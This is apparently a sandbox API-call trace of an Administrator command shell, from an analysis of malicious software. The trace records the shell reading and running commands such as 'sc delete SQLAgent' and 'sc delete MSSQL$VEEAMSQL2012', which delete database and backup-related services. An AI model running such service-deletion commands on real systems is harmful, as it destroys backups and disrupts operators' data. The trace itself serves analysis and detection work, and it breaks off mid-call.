1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0065.604] GetProcessHeap () returned 0x1b0000 [0065.604] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0065.605] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0065.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.605] GetFileType (hFile=0x120) returned 0x3 [0065.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0065.605] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0065.605] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0065.605] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.605] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0065.605] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0065.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.605] GetFileType (hFile=0x120) returned 0x3 [0065.605] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.605] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0065.605] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0065.605] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.606] GetFileType (hFile=0xb8) returned 0x3 [0065.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.606] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.606] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.606] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.607] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.607] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.607] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" MSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="SSSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.608] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.608] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="QSQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.608] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="LQL\nent$VEEAMSQL2012\"\n") returned 1 [0065.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="AL\nent$VEEAMSQL2012\"\n") returned 1 [0065.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="g\nent$VEEAMSQL2012\"\n") returned 1 [0065.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="eent$VEEAMSQL2012\"\n") returned 1 [0065.609] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.609] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.609] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="nnt$VEEAMSQL2012\"\n") returned 1 [0065.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.610] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="tt$VEEAMSQL2012\"\n") returned 1 [0065.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.610] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0065.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\n$VEEAMSQL2012\"\n") returned 1 [0065.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.610] GetFileType (hFile=0xb8) returned 0x3 [0065.610] _get_osfhandle (_FileHandle=0) returned 0xb8 [0065.610] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0065.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.610] GetFileType (hFile=0x120) returned 0x3 [0065.610] _get_osfhandle (_FileHandle=1) returned 0x120 [0065.610] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete SQLAgent\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete SQLAgent\n", lpUsedDefaultChar=0x0) returned 20 [0065.610] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0065.610] GetProcessHeap () returned 0x1b0000 [0065.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1d8630 [0065.611] GetProcessHeap () returned 0x1b0000 [0065.611] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d8630 | out: hHeap=0x1b0000) returned 1 [0065.611] GetProcessHeap () returned 0x1b0000 [0065.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0065.611] GetProcessHeap () returned 0x1b0000 [0065.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0065.611] GetProcessHeap () returned 0x1b0000 [0065.611] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0065.611] GetConsoleOutputCP () returned 0x1b5 [0065.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0065.611] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.612] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.612] GetProcessHeap () returned 0x1b0000 [0065.612] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0065.612] GetProcessHeap () returned 0x1b0000 [0065.612] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0065.612] GetProcessHeap () returned 0x1b0000 [0065.612] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0065.612] SetErrorMode (uMode=0x0) returned 0x1 [0065.612] SetErrorMode (uMode=0x1) returned 0x0 [0065.612] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0065.612] SetErrorMode (uMode=0x1) returned 0x1 [0065.612] GetProcessHeap () returned 0x1b0000 [0065.612] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0065.612] GetProcessHeap () returned 0x1b0000 [0065.612] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0065.612] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.613] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0065.613] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0065.613] GetProcessHeap () returned 0x1b0000 [0065.613] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0065.613] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.613] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.613] GetLastError () returned 0x2 [0065.613] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.614] GetLastError () returned 0x2 [0065.614] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0065.614] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.614] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.614] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0065.614] GetLastError () returned 0x2 [0065.614] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0065.614] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0065.615] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0065.615] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0065.615] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.615] GetProcessHeap () returned 0x1b0000 [0065.615] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0065.615] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0065.615] GetProcessHeap () returned 0x1b0000 [0065.615] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0065.615] GetProcessHeap () returned 0x1b0000 [0065.615] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0065.615] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLAgent") returned 1 [0065.616] GetProcessHeap () returned 0x1b0000 [0065.616] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0065.616] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0065.616] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0065.616] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0065.616] GetProcessHeap () returned 0x1b0000 [0065.616] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0065.616] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0065.616] _wcsnicmp (_String1="COPYCMD", 